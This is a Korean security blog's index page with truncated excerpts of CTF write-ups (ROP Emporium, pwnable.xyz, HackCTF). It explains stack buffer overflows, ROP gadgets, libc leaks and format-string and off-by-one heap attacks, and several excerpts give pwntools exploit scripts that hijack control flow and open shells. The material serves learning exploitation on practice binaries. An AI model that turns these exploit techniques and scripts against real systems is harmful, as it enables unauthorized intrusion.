anonymous?

1. RET Overwrite Exploitation Stack buffer overflow 취약점을 이용해서 공격하는 방법이다. 이 취약점의 경우 주로 stack의 return address를 덮는 공격을 사용한다. Return address : 함수가 종료하고 돌아갈 이전 함수의 주소이다. Return address를 함수 종료 후 공격자가 실행하고자 하는 코드의 주소로 덮어서 실행의 흐름을 조작한다. 2. stack buffer overflow // gcc -o example1 example1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 #include int vuln(char *src) { char buf[32] = ..

SYSTEM HACKING/Exploit Tech 2020. 4. 6. 12:00

# checksec # process ★취약점 1) idx < 255만 체크한다. 음수 인덱스로는 어떤 것도 줄 수 있다. 2) signed나 unsigned는 0x8000000000000000와 | 을 시키면 idx < 255로 양수 범위가 제한되어 있어도 우회 가능하다. 0x8000000000000000는 최상위 1비트 부호를 나타낸다. 그리고 | 을 시켜도 data[idx]에서 최상위 비트는 날아가므로 상관없다. edit과 print를 합쳐서 총 5번 값을 넣을 수 있다. exit함수를 이용해서 exploit할 것이다. 1. libc leak edit_data 함수에서 값을 넣고 값이 들어간 주소의 위로 올라가면 libc 함수 주소가 들어있음을 알 수 있다. offset은 -0x60인데 인덱스이므로..

SYSTEM HACKING/CTF, etc 2020. 3. 26. 17:57

# checksec # process mov [r14], r15 ; ret 가젯이 주어졌다. pop rdi ; ret 가젯도 있다. 사실 one gadget으로 풀린다.. 두 방법으로 풀어보겠다. 1. return address -> one gadget 1) libc leak - one gadget 주소 구한다. 2) return address -> one gadget 2. system("/bin/sh") 1) pop r14 ; pop r15 ; ret 가젯을 사용해서 r14, r15 레지스터에 각각 &data, "/bin/sh\x00"을 넣는다. pop r14 ; pop 15 ; ret : 0x400890 - 32bit의 경우, pop edi ; pop ebp ; ret 가젯 사용 2) mov [r14..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 20:10

# checksec # process 그냥 설명에 나와있는대로 callme_one(1, 2, 3) callme_two(1, 2, 3) callme_three(1, 2, 3)를 차례로 rop gadget으로 호출하면 flag가 출력된다. - 64bit p3ret gadget : 0x401ab0 - 32bit gadget # exploit code & exploit - 64bit #!/usr/bin/python from pwn import * p = process("./callme") elf = ELF("./callme") libc = elf.libc p3ret = 0x401ab0 pay = 'A'*(0x20+0x8) pay += p64(p3ret) + p64(1) + p64(2) + p64(3) + p64..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 19:53

# checksec # code # process ldd로 libcbase를 확인해봤을 때 계속 변하는 것으로 보아 ASLR이 걸려있음을 알 수 있다. 따라서 libc leak이 필요하다. pop rdi ; ret 가젯을 사용해서 puts@plt로 got를 출력하도록 해서 libcbase를 구하고 one gadget 주소를 구한다. - 64bit - 32bit 그 후 return address -> one gadget으로 덮는다. \x7f까지 6바이트 받아지므로 "\x7f까지 받도록 하고 앞에 ‘\x00’ 두 개를 붙였다. # exploit code & exploit 1. 64bit #!/usr/bin/python from pwn import * p = process("./split") elf = ELF..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 19:49

# checksec # exploit code & exploit 1. 64bit #!/usr/bin/python from pwn import * p = process("./ret2win") elf = ELF("./ret2win") ret2win = elf.symbols['ret2win'] pay = 'A'*0x28 + p64(ret2win) p.sendlineafter("> ", pay) p.interactive() 2. 32bit #!/usr/bin/python from pwn import * p = process("./ret2win32") elf = ELF("./ret2win32") ret2win = elf.symbols['ret2win'] p.sendlineafter("> ", 'A'*(0x28+0..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 19:42

# checksec / file # process FULL RELRO 보호기법이 걸려있어서 GOT overwrite은 하지 못하지만 두 가지 솔루션이 있다. 1. return address -> win (local, remote로 성공) BOF는 일어나지 않지만 2번 메뉴에서 입력한 주소에 값을 적을 수 있다. return address 주소를 알아낼 수 있으면 1번 메뉴에서 return address 입력하고, 2번 메뉴에서 win 함수 주소를 값으로 적는다. 1) libc leak -> environ ptr 구한다. 2) environ 주소 구한다. - 1번 메뉴 : environ - 3번 메뉴 : environ 값 출력 3) environ 주소를 이용해서 main의 SFP를 구하고, SFP + 8이..

SYSTEM HACKING/pwnable.xyz 2020. 3. 25. 19:35

# checksec # menu 메뉴 1 : Fgets(&s, 0x80, stdin) 0x80만큼 표준입력(stdin, 전역변수 0x202020)받은 값을 s 변수[rbp-400h]에 저장한다. 메뉴 2 : append(&s) a1은 변수 s에 대한 포인터 값. #include char *strncat(char *string1, const char *string2, size_t count); strncat(a1, &buf, (signed int)v3) : buf의 처음 v3자를 a1에 추가하고 널 문자(\0)로 결과 스트링을 종료한다. V3가 buf의 길이보다 크면 v3 대신 buf의 길이만큼 a1에 추가하고 널 문자로 종료한다. 메뉴 3 : 변수 s에 저장된 메시지 값 출력 # process 값을 넣고..

SYSTEM HACKING/pwnable.xyz 2020. 3. 25. 18:44

jw security 블로그의 64bit FSB 글을 참고하면서 풀었다. # checksec # process V5변수가 rbp-8에 위치한 것으로 보아 canary임을 알 수 있다. AAAAAAAA가 6번째에 출력된다. 즉, 스택값이 6번째부터 들어있는 것이다. Offset은 6이 된다. Canary가 있을 경우 프로그램 종료 전 __stack_chk_fail 함수가 호출된다고 한다. 이 함수의 GOT를 변조하면 된다. 1. libc leak libc leak을 위해 libc_start_main+240이 출력되는 위치와 스택이 출력되기 시작하는 위치와의 offset을 구해야 한다. offset은 15가 된다. libcbase offset은 0x20830으로 libc_start_main+240을 구하고나..

SYSTEM HACKING/HackCTF 2020. 3. 25. 18:32

# checksec # process IDA에서 ctrl + u 를 누르면 String Window로 갈 수 있다. 바이너리를 넣었을 때 Flag와 Top secret 파일이 같이 생겨서 String Window를 봤다. 그럼 Statically linked binary에서 main함수를 더 빨리 찾을 수 있을 것이다. 바이너리를 실행시켰을 때 Input name이 출력됐으므로 Input name을 따라가면 main함수를 찾을 수 있을 것이다. 전역변수 unk_6CCD60에 입력받는다. scanf면 길이제한은 없다. (다만 뒤에 null byte가 같이 붙음) return address를 덮을 수 있다. TOP_SECRET을 따라가보면 이것도 MAIN함수에서 사용되는데, INPUT NAME 출력위한 함수..

SYSTEM HACKING/HackCTF 2020. 3. 25. 18:08

main함수를 보면 password를 체크하는 함수로 검사한다. Check_password함수를 보면 입력을 인자로 전달하는데 마지막에 특정 n 길이만큼 s1과 비교한다. 저 문자열이 패스워드일 것이다. 디코딩해서 보면.. 플래그를 얻을 수 있다.

SYSTEM HACKING/HackCTF 2020. 3. 9. 22:14

# process write_name() 함수에서 heap의 데이터 사이즈에 0x21이 들어가서 edit_name() 함수에서 edit 시 1바이트 overflow가 일어난다. (off by one) 이 취약점을 이용해서 해당 chunk의 사이즈 값을 변조해서 다음 청크의 func_ptr을 변조할 수 있다. 1. size 값 변조 2. func_ptr -> win Name(0x20) size(0x8) func_ptr(0x8) 구조로 size를 늘려서 func_ptr를 win으로 덮었다. # exploit code #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./challenge") p = remote("svc...

SYSTEM HACKING/pwnable.xyz 2020. 3. 9. 22:12